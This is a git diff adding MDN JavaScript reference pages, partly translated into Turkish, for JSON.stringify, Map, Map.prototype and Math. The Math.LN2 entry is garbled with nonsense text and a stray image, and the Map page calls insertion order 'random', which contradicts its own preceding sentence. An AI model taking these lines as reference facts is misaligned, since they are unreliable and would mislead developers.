+// '[{"0":1},{"0":1},{"0":1}]' +JSON.stringify([new Uint8Array([1]), new Uint8ClampedArray([1]), new Uint16Array([1]), new Uint32Array([1])]); +// '[{"0":1},{"0":1},{"0":1},{"0":1}]' +JSON.stringify([new Float32Array([1]), new Float64Array([1])]); +// '[{"0":1},{"0":1}]' + +// toJSON() +JSON.stringify({ x: 5, y: 6, toJSON(){ return this.x + this.y; } }); +// '11' + +// Symbols: +JSON.stringify({ x: undefined, y: Object, z: Symbol('') }); +// '{}' +JSON.stringify({ [Symbol('foo')]: 'foo' }); +// '{}' +JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]); +// '{}' +JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) { + if (typeof k === 'symbol') { + return 'a symbol'; + } +}); +// undefined + +// Non-enumerable properties: +JSON.stringify( Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) ); +// '{"y":"y"}' +</pre> + +<h3 id="The_replacer_parameter"><a id="The replacer parameter" name="The replacer parameter"></a>The <code>replacer</code> parameter</h3> + +<p>The <code>replacer</code> parameter can be either a function or an array. As a function, it takes two parameters, the key and the value being stringified. The object in which the key was found is provided as the replacer's <code>this</code> parameter. Initially it gets called with an empty string as key representing the object being stringified, and it then gets called for each property on the object or array being stringified. It should return the value that should be added to the JSON string, as follows:</p> + +<ul> + <li>If you return a {{jsxref("Number")}}, the string corresponding to that number is used as the value for the property when added to the JSON string.</li> + <li>If you return a {{jsxref("String")}}, that string is used as the property's value when adding it to the JSON string.</li> + <li>If you return a {{jsxref("Boolean")}}, "true" or "false" is used as the property's value, as appropriate, when adding it to the JSON string.</li> + <li>If you return <code>null</code>, <code>null</code> will be added to the JSON string.</li> + <li>If you return any other object, the object is recursively stringified into the JSON string, calling the <code>replacer</code> function on each property, unless the object is a function, in which case nothing is added to the JSON string.</li> + <li>If you return <code>undefined</code>, the property is not included (i.e., filtered out) in the output JSON string.</li> +</ul> + +<div class="note"><strong>Note:</strong> You cannot use the <code>replacer</code> function to remove values from an array. If you return <code>undefined</code> or a function then <code>null</code> is used instead.</div> + +<div class="note"><strong>Note:</strong> If you wish the replacer to distinguish an initial object from a key with an empty string property (since both would give the empty string as key and potentially an object as value), you will have to keep track of the iteration count (if it is beyond the first iteration, it is a genuine empty string key).</div> + +<h4 id="Example_with_a_function">Example with a function</h4> + +<pre class="brush: js">function replacer(key, value) { + // Filtering out properties + if (typeof value === 'string') { + return undefined; + } + return value; +} + +var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7}; +JSON.stringify(foo, replacer); +// '{"week":45,"month":7}' +</pre> + +<h4 id="Example_with_an_array">Example with an array</h4> + +<p>If <code>replacer</code> is an array, the array's values indicate the names of the properties in the object that should be included in the resulting JSON string.</p> + +<pre class="brush: js">JSON.stringify(foo, ['week', 'month']); +// '{"week":45,"month":7}', only keep "week" and "month" properties +</pre> + +<h3 id="The_space_argument"><a id="The space argument" name="The space argument"></a>The <code>space</code> argument</h3> + +<p>The <code>space</code> argument may be used to control spacing in the final string. If it is a number, successive levels in the stringification will each be indented by this many space characters (up to 10). If it is a string, successive levels will be indented by this string (or the first ten characters of it).</p> + +<pre class="brush: js">JSON.stringify({ a: 2 }, null, ' '); +// '{ +// "a": 2 +// }' +</pre> + +<p>Using a tab character mimics standard pretty-print appearance:</p> + +<pre class="brush: js">JSON.stringify({ uno: 1, dos: 2 }, null, '\t'); +// returns the string: +// '{ +// "uno": 1, +// "dos": 2 +// }' +</pre> + +<h3 id="toJSON()_behavior"><code>toJSON()</code> behavior</h3> + +<p>If an object being stringified has a property named <code>toJSON</code> whose value is a function, then the <code>toJSON()</code> method customizes JSON stringification behavior: instead of the object being serialized, the value returned by the <code>toJSON()</code> method when called will be serialized. <code>JSON.stringify()</code> calls <code>toJSON</code> with one parameter:</p> + +<ul> + <li>if this object is a property value, the property name</li> + <li>if it is in an array, the index in the array, as a string</li> + <li>an empty string if <code>JSON.stringify()</code> was directly called on this object</li> +</ul> + +<p>For example:</p> + +<pre class="brush: js">var obj = { + data: 'data', + + toJSON(key){ + if(key) + return `Now I am a nested object under key '${key}'`; + + else + return this; + } +}; + +JSON.stringify(obj); +// '{"data":"data"}' + +JSON.stringify({ obj }) +// '{"obj":"Now I am a nested object under key 'obj'"}' + +JSON.stringify([ obj ]) +// '["Now I am a nested object under key '0'"]' +</pre> + +<h3 id="Issue_with_JSON.stringify()_when_serializing_circular_references">Issue with <code>JSON.stringify()</code> when serializing circular references</h3> + +<p>Note that since the <a href="https://www.json.org/">JSON format</a> doesn't support object references (although an <a href="http://tools.ietf.org/html/draft-pbryan-zyp-json-ref-03">IETF draft exists</a>), a {{jsxref("TypeError")}} will be thrown if one attempts to encode an object with circular references.</p> + +<pre class="brush: js example-bad">const circularReference = {}; +circularReference.myself = circularReference; + +// Serializing circular references throws "TypeError: cyclic object value" +JSON.stringify(circularReference); +</pre> + +<p>To serialize circular references you can use a library that supports them (e.g. <a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> by Douglas Crockford) or implement a solution by yourself, which will require finding and replacing (or removing) the cyclic references by serializable values.</p> + +<h3 id="Issue_with_plain_JSON.stringify_for_use_as_JavaScript">Issue with plain <code>JSON.stringify</code> for use as JavaScript</h3> + +<p>Note that JSON is <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">not a completely strict subset of JavaScript</a>, with two line terminators (Line separator and Paragraph separator) not needing to be escaped in JSON but needing to be escaped in JavaScript. Therefore, if the JSON is meant to be evaluated or directly utilized within <a href="https://en.wikipedia.org/wiki/JSONP">JSONP</a>, the following utility can be used:</p> + +<pre class="brush: js">function jsFriendlyJSONStringify (s) { + return JSON.stringify(s). + replace(/\u2028/g, '\\u2028'). + replace(/\u2029/g, '\\u2029'); +} + +var s = { + a: String.fromCharCode(0x2028), + b: String.fromCharCode(0x2029) +}; +try { + eval('(' + JSON.stringify(s) + ')'); +} catch (e) { + console.log(e); // "SyntaxError: unterminated string literal" +} + +// No need for a catch +eval('(' + jsFriendlyJSONStringify(s) + ')'); + +// console.log in Firefox unescapes the Unicode if +// logged to console, so we use alert +alert(jsFriendlyJSONStringify(s)); // {"a":"\u2028","b":"\u2029"}</pre> + +<h3 id="Example_of_using_JSON.stringify()_with_localStorage">Example of using <code>JSON.stringify()</code> with <code>localStorage</code></h3> + +<p>In a case where you want to store an object created by your user and allowing it to be restored even after the browser has been closed, the following example is a model for the applicability of <code>JSON.stringify()</code>:</p> + +<pre class="brush: js">// Creating an example of JSON +var session = { + 'screens': [], + 'state': true +}; +session.screens.push({ 'name': 'screenA', 'width': 450, 'height': 250 }); +session.screens.push({ 'name': 'screenB', 'width': 650, 'height': 350 }); +session.screens.push({ 'name': 'screenC', 'width': 750, 'height': 120 }); +session.screens.push({ 'name': 'screenD', 'width': 250, 'height': 60 }); +session.screens.push({ 'name': 'screenE', 'width': 390, 'height': 120 }); +session.screens.push({ 'name': 'screenF', 'width': 1240, 'height': 650 }); + +// Converting the JSON string with JSON.stringify() +// then saving with localStorage in the name of session +localStorage.setItem('session', JSON.stringify(session)); + +// Example of how to transform the String generated through +// JSON.stringify() and saved in localStorage in JSON object again +var restoredSession = JSON.parse(localStorage.getItem('session')); + +// Now restoredSession variable contains the object that was saved +// in localStorage +console.log(restoredSession); +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.7.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.JSON.stringify")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("JSON.parse()")}}</li> + <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – Introduces two functions, <code>JSON.decycle</code> and <code>JSON.retrocycle</code>, which makes it possible to encode and decode cyclical structures and dags into an extended and retrocompatible JSON format.</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/map/index.html b/files/tr/web/javascript/reference/global_objects/map/index.html new file mode 100644 index 0000000000..67f46594f6 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/map/index.html @@ -0,0 +1,207 @@ +--- +title: Map +slug: Web/JavaScript/Reference/Global_Objects/Map +tags: + - ECMAScript 2015 + - JavaScript + - Map + - NeedsTranslation + - TopicStub +translation_of: Web/JavaScript/Reference/Global_Objects/Map +--- +<div>{{JSRef}}</div> + +<p><span class="seoSummary">The <strong><code>Map</code></strong> object holds key-value pairs.</span> Any value (both objects and {{Glossary("Primitive", "primitive values")}}) may be used as either a key or a value.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">new Map([<em>iterable</em>])</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>iterable</code></dt> + <dd>An {{jsxref("Array")}} or other <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a> object whose elements are key-value pairs (arrays with two elements, e.g. <code>[[ 1, 'one' ],[ 2, 'two' ]]</code>). Each key-value pair is added to the new <code>Map</code>; <code>null</code> values are treated as <code>undefined</code>.</dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>A <code>Map</code> object iterates its elements in insertion order — a {{jsxref("Statements/for...of", "for...of")}} loop returns an array of <code>[key, value]</code> for each iteration.<br> + <br> + It should be noted that a <code>Map</code> which is a map of an object, especially a dictionary of dictionaries, will only map to the object's insertion order—which is random and not ordered.</p> + +<h3 id="Key_equality">Key equality</h3> + +<p>Key equality is based on the "SameValueZero" algorithm: <code>NaN</code> is considered the same as <code>NaN</code> (even though <code>NaN !== NaN</code>) and all other values are considered equal according to the semantics of the <code>===</code> operator. In the current ECMAScript specification <code>-0</code> and <code>+0</code> are considered equal, although this was not so in earlier drafts. See "Value equality for -0 and 0" in the <a href="#Browser_compatibility">browser compatibility</a> table for details.</p> + +<h3 id="Objects_and_maps_compared">Objects and maps compared</h3> + +<p>{{jsxref("Object", "Objects")}} are similar to <code>Maps</code> in that both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. Because of this (and because there were no built-in alternatives), <code>Object</code>s have been used as <code>Maps</code> historically; however, there are important differences that make using a <code>Map</code> preferable in certain cases:</p> + +<ul> + <li>The keys of an <code>Object</code> are {{jsxref("String", "Strings")}} and {{jsxref("Symbol", "Symbols")}}, whereas they can be any value for a <code>Map</code>, including functions, objects, and any primitive.</li> + <li>You can get the size of a <code>Map</code> easily with the <code>size</code> property, while the number of properties in an <code>Object</code> must be determined manually.</li> + <li>A <code>Map</code> is an <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a> and can thus be directly iterated, whereas iterating over an <code>Object</code> requires obtaining its keys in some fashion and iterating over them.</li> + <li>An <code>Object</code> has a prototype, so there are default keys in the map that could collide with your keys if you're not careful. As of ES5 this can be bypassed by using <code>map = Object.create(null)</code>, but this is seldom done.</li> + <li>A <code>Map</code> may perform better in scenarios involving frequent addition and removal of key pairs.</li> +</ul> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt><code>Map.length</code></dt> + <dd>The value of the <code>length</code> property is 0.</dd> + <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt> + <dd>The constructor function that is used to create derived objects.</dd> + <dt>{{jsxref("Map.prototype")}}</dt> + <dd>Represents the prototype for the <code>Map</code> constructor. Allows the addition of properties to all <code>Map</code> objects.</dd> +</dl> + +<h2 id="Map_instances"><code>Map</code> instances</h2> + +<p>All <code>Map</code> instances inherit from {{jsxref("Map.prototype")}}.</p> + +<h3 id="Properties_2">Properties</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}</p> + +<h3 id="Methods">Methods</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_the_Map_object">Using the <code>Map</code> object</h3> + +<pre class="brush: js">var myMap = new Map(); + +var keyString = 'a string', + keyObj = {}, + keyFunc = function() {}; + +// setting the values +myMap.set(keyString, "value associated with 'a string'"); +myMap.set(keyObj, 'value associated with keyObj'); +myMap.set(keyFunc, 'value associated with keyFunc'); + +myMap.size; // 3 + +// getting the values +myMap.get(keyString); // "value associated with 'a string'" +myMap.get(keyObj); // "value associated with keyObj" +myMap.get(keyFunc); // "value associated with keyFunc" + +myMap.get('a string'); // "value associated with 'a string'" + // because keyString === 'a string' +myMap.get({}); // undefined, because keyObj !== {} +myMap.get(function() {}) // undefined, because keyFunc !== function () {} +</pre> + +<h3 id="Using_NaN_as_Map_keys">Using <code>NaN</code> as <code>Map</code> keys</h3> + +<p><code>NaN</code> can also be used as a key. Even though every <code>NaN</code> is not equal to itself (<code>NaN !== NaN</code> is true), the following example works because <code>NaN</code>s are indistinguishable from each other:</p> + +<pre class="brush: js">var myMap = new Map(); +myMap.set(NaN, 'not a number'); + +myMap.get(NaN); // "not a number" + +var otherNaN = Number('foo'); +myMap.get(otherNaN); // "not a number" +</pre> + +<h3 id="Iterating_Maps_with_for..of">Iterating <code>Maps</code> with <code>for..of</code></h3> + +<p>Maps can be iterated using a <code>for..of</code> loop:</p> + +<pre class="brush: js">var myMap = new Map(); +myMap.set(0, 'zero'); +myMap.set(1, 'one'); +for (var [key, value] of myMap) { + console.log(key + ' = ' + value); +} +// 0 = zero +// 1 = one + +for (var key of myMap.keys()) { + console.log(key); +} +// 0 +// 1 + +for (var value of myMap.values()) { + console.log(value); +} +// zero +// one + +for (var [key, value] of myMap.entries()) { + console.log(key + ' = ' + value); +} +// 0 = zero +// 1 = one +</pre> + +<h3 id="Iterating_Maps_with_forEach()">Iterating <code>Maps</code> with <code>forEach()</code></h3> + +<p>Maps can be iterated using the <code>forEach()</code> method:</p> + +<pre class="brush: js">myMap.forEach(function(value, key) { + console.log(key + ' = ' + value); +}); +// Will show 2 logs; first with "0 = zero" and second with "1 = one" +</pre> + +<h3 id="Relation_with_Array_objects">Relation with <code>Array</code> objects</h3> + +<pre class="brush: js">var kvArray = [['key1', 'value1'], ['key2', 'value2']]; + +// Use the regular Map constructor to transform a 2D key-value Array into a map +var myMap = new Map(kvArray); + +myMap.get('key1'); // returns "value1" + +// Use the Array.from function to transform a map into a 2D key-value Array +console.log(Array.from(myMap)); // Will show you exactly the same Array as kvArray + +// Or use the keys or values iterators and convert them to an array +console.log(Array.from(myMap.keys())); // Will show ["key1", "key2"] +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map-objects', 'Map')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.builtins.Map")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Map and Set bug at Mozilla</a></li> + <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets">ECMAScript Harmony proposal</a></li> + <li>{{jsxref("Set")}}</li> + <li>{{jsxref("WeakMap")}}</li> + <li>{{jsxref("WeakSet")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/map/prototype/index.html b/files/tr/web/javascript/reference/global_objects/map/prototype/index.html new file mode 100644 index 0000000000..5bad06ed4a --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/map/prototype/index.html @@ -0,0 +1,84 @@ +--- +title: Map.prototype +slug: Web/JavaScript/Reference/Global_Objects/Map/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Map +--- +<div>{{JSRef}}</div> + +<p><code><strong>Map</strong></code><strong><code>.prototype</code></strong> özelliği {{jsxref("Map")}} kurucusunun prototipini temsil eder.</p> + +<div>{{js_property_attributes(0,0,0)}}</div> + +<h2 id="Tanım">Tanım</h2> + +<p>{{jsxref("Map")}} örnekleri {{jsxref("Map.prototype")}}'den miras alınır. Tüm <code>Map</code> örneklerine özellikler veya yöntemler eklemek için yapıcının prototip nesnesini kullanabilirsiniz.</p> + +<h2 id="Özellikleri">Özellikleri</h2> + +<dl> + <dt><code>Map.prototype.constructor</code></dt> + <dd>Bir örneğin prototipini oluşturan işlevi döndürür. Bu, varsayılan olarak {{jsxref("Map")}} işlevidir.</dd> + <dt>{{jsxref("Map.prototype.size")}}</dt> + <dd><code>Map</code> nesnesindeki anahtar / değer çiftlerinin sayısını döndürür.</dd> +</dl> + +<h2 id="Yöntemler">Yöntemler</h2> + +<dl> + <dt>{{jsxref("Map.prototype.clear()")}}</dt> + <dd>Tüm anahtar / değer çiftlerini <code>Map</code> objesinden siler.</dd> + <dt>{{jsxref("Map.delete", "Map.prototype.delete(key)")}}</dt> + <dd><code>Map</code> nesnesindeki bir öge varsa ve kaldırılmışsa <code>true</code> öge yoksa <code>false</code> döndürür. <code>Map.prototype.has(key)</code> daha sonra <code>false</code> döndürür.</dd> + <dt>{{jsxref("Map.prototype.entries()")}}</dt> + <dd>Ekleme sırasındaki <code>Map</code> nesnesindeki her öge için <strong><code>[anahtar, değer] </code></strong>dizisini içeren yeni bir <code>Iterator</code> nesnesini döndürür.</dd> + <dt>{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}</dt> + <dd><code>Map</code> nesnesindeki her anahtar - değer çifti için ekleme sırasına göre callbackFn ögesini bir kez çağırır. thisArg parametresi forEach için sağlanmışsa, her geri çağırma için bu değer olarak kullanılacaktır.</dd> + <dt>{{jsxref("Map.get", "Map.prototype.get(key)")}}</dt> + <dd><code>key</code> ile ilişkilendirilmiş değeri veya hiçbir şey yoksa <code>undefined</code> değerini döndürür.</dd> + <dt>{{jsxref("Map.has", "Map.prototype.has(key)")}}</dt> + <dd><code>Map</code> nesnesindeki bir değerin <code>key</code> ile ilişkili olup olmadığını belirten bir boolean döndürür.</dd> + <dt>{{jsxref("Map.prototype.keys()")}}</dt> + <dd><code>Map</code> nesnesindeki her bir ögenin<strong> anahtarlarını</strong> ekleme sırasına göre içeren yeni bir <code>Iterator</code> nesnesi döndürür.</dd> + <dt>{{jsxref("Map.set", "Map.prototype.set(key, value)")}}</dt> + <dd><code>Map</code>nesnesindeki <code>key</code> değerini ayarlar. <code>Map</code> nesnesini döndürür.</dd> + <dt>{{jsxref("Map.prototype.values()")}}</dt> + <dd><code>Map</code> nesnesindeki her bir ögenin <strong>değerlerini </strong>ekleme sırasına göre içeren yeni bir <code>Iterator</code> nesnesi döndürür.</dd> + <dt>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</dt> + <dd>Ekleme sırasındaki <code>Map</code> nesnesindeki her bir öge için<strong><code>[anahtar, değer]</code></strong> dizisini içeren yeni bir <code>Iterator</code> nesnesini döndürür.</dd> +</dl> + +<h2 id="Şartlar">Şartlar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Şart</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype', 'Map.prototype')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td> + <p>İlk tanım</p> + </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresini ziyaret etin ve bize bir istek gönderin.</div> + +<p>{{Compat("javascript.builtins.Map.prototype")}}</p> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<ul> + <li>{{jsxref("Set.prototype")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/math/index.html b/files/tr/web/javascript/reference/global_objects/math/index.html new file mode 100644 index 0000000000..774ed159f2 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/math/index.html @@ -0,0 +1,191 @@ +--- +title: Math +slug: Web/JavaScript/Reference/Global_Objects/Math +tags: + - JavaScript + - Math + - Namespace + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/JavaScript/Reference/Global_Objects/Math +--- +<div></div> + +<div>{{JSRef}}</div> + +<p><strong><code>Math</code></strong> is a built-in object that has properties and methods for mathematical constants and functions. It’s not a function object.</p> + +<p><code>Math</code> works with the {{jsxref("Number")}} type. It doesn't work with {{jsxref("BigInt")}}.</p> + +<h2 id="Description">Description</h2> + +<p>Unlike many other global objects, <code>Math</code> is not a constructor. All properties and methods of <code>Math</code> are static. You refer to the constant pi as <code>Math.PI</code> and you call the sine function as <code>Math.sin(<var>x</var>)</code>, where <code><var>x</var></code> is the method’s argument. Constants are defined with the full precision of real numbers in JavaScript.</p> + +<div class="note"> +<p><strong>Note:</strong> Many <code>Math</code> functions have a precision that’s <em>implementation-dependent.</em></p> + +<p>This means that different browsers can give a different result. Even the same JavaScript engine on a different OS or architecture can give different results!</p> +</div> + +<h2 id="Static_properties">Static properties</h2> + +<dl> + <dt>{{jsxref("Math.E")}}</dt> + <dd>Euler's constant and the base of natural logarithms; approximately <code>2.718</code>.</dd> + <dt>{{jsxref("Math.LN2")}}<code>lllllđđlđ</code></dt> + <dd>lllllđđ v<img alt="" src="https://mdn.mozillademos.org/files/14829/trigonometry.png" style="height: 166px; width: 200px;">ili ga ti tu of <code>2</code>; approximately <code>0.693</code>.</dd> + <dt>{{jsxref("Math.LN10")}}</dt> + <dd>Natural logarithm of <code>10</code>; approximately <code>2.303</code>.</dd> + <dt>{{jsxref("Math.LOG2E")}}</dt> + <dd>Base-2 logarithm of <code>E</code>; approximately <code>1.443</code>.</dd> + <dt>{{jsxref("Math.LOG10E")}}</dt> + <dd>Base-10 logarithm of <code>E</code>; approximately <code>0.434</code>.</dd> + <dt>{{jsxref("Math.PI")}}</dt> + <dd>Ratio of the a circle's circumference to its diameter; approximately <code>3.14159</code>.</dd> + <dt>{{jsxref("Math.SQRT1_2")}}</dt> + <dd>Square root of ½ (or equivalently, <sup>1</sup>/<sub>√2</sub>); approximately <code>0.707</code>.</dd> + <dt>{{jsxref("Math.SQRT2")}}</dt> + <dd>Square root of <code>2</code>; approximately <code>1.414</code>.</dd> +</dl> + +<h2 id="Static_methods">Static methods</h2> + +<dl> + <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(<var>x</var>)")}}</dt> + <dd>Returns the absolute value of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(<var>x</var>)")}}</dt> + <dd>Returns the arccosine of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(<var>x</var>)")}}</dt> + <dd>Returns the hyperbolic arccosine of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(<var>x</var>)")}}</dt> + <dd>Returns the arcsine of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(<var>x</var>)")}}</dt> + <dd>Returns the hyperbolic arcsine of a number.</dd> + <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(<var>x</var>)")}}</dt> + <dd>Returns the arctangent of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(<var>x</var>)")}}</dt> + <dd>Returns the hyperbolic arctangent of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(<var>y</var>, <var>x</var>)")}}</dt> + <dd>Returns the arctangent of the quotient of its arguments.</dd> + <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(<var>x</var>)")}}</dt> + <dd>Returns the cube root of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(<var>x</var>)")}}</dt> + <dd>Returns the smallest integer greater than or equal to <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(<var>x</var>)")}}</dt> + <dd>Returns the number of leading zeroes of the 32-bit integer <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(<var>x</var>)")}}</dt> + <dd>Returns the cosine of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(<var>x</var>)")}}</dt> + <dd>Returns the hyperbolic cosine of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(<var>x</var>)")}}</dt> + <dd>Returns <code>E<var><sup>x</sup></var></code>, where <code><var>x</var></code> is the argument, and <code>E</code> is Euler's constant (<code>2.718</code>…, the base of the natural logarithm).</dd> + <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(<var>x</var>)")}}</dt> + <dd>Returns subtracting <code>1</code> from <code>exp(<var>x</var>)</code>.</dd> + <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(<var>x</var>)")}}</dt> + <dd>Returns the largest integer less than or equal to <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(<var>x</var>)")}}</dt> + <dd>Returns the nearest <a href="https://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single precision">single precision</a> float representation of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([<var>x</var>[, <var>y</var>[, …]]])")}}</dt> + <dd>Returns the square root of the sum of squares of its arguments.</dd> + <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(<var>x</var>, <var>y</var>)")}}</dt> + <dd>Returns the result of the 32-bit integer multiplication of <code><var>x</var></code> and <code><var>y</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/log", "Math.log(<var>x</var>)")}}</dt> + <dd>Returns the natural logarithm (㏒<sub>e</sub>; also, ㏑) of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(<var>x</var>)")}}</dt> + <dd>Returns the natural logarithm (㏒<sub>e</sub>; also ㏑) of <code>1 + <var>x</var></code> for the number <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(<var>x</var>)")}}</dt> + <dd>Returns the base-10 logarithm of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(<var>x</var>)")}}</dt> + <dd>Returns the base-2 logarithm of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/max", "Math.max([<var>x</var>[, <var>y</var>[, …]]])")}}</dt> + <dd>Returns the largest of zero or more numbers.</dd> + <dt>{{jsxref("Global_Objects/Math/min", "Math.min([<var>x</var>[, <var>y</var>[, …]]])")}}</dt> + <dd>Returns the smallest of zero or more numbers.</dd> + <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(<var>x</var>, <var>y</var>)")}}</dt> + <dd>Returns base <code><var>x</var></code> to the exponent power <code><var>y</var></code> (that is, <code><var>x</var><var><sup>y</sup></var></code>).</dd> + <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt> + <dd>Returns a pseudo-random number between <code>0</code> and <code>1</code>.</dd> + <dt>{{jsxref("Global_Objects/Math/round", "Math.round(<var>x</var>)")}}</dt> + <dd>Returns the value of the number <code><var>x</var></code> rounded to the nearest integer.</dd> + <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(<var>x</var>)")}}</dt> + <dd>Returns the sign of the <code><var>x</var></code>, indicating whether <code><var>x</var></code> is positive, negative, or zero.</dd> + <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(<var>x</var>)")}}</dt> + <dd>Returns the sine of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(<var>x</var>)")}}</dt> + <dd>Returns the hyperbolic sine of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(<var>x</var>)")}}</dt> + <dd>Returns the positive square root of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(<var>x</var>)")}}</dt> + <dd>Returns the tangent of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(<var>x</var>)")}}</dt> + <dd>Returns the hyperbolic tangent of <code><var>x</var></code>.</dd> + <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(<var>x</var>)")}}</dt> + <dd>Returns the integer portion of <code><var>x</var></code>, removing any fractional digits.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Converting_between_degrees_and_radians">Converting between degrees and radians</h3> 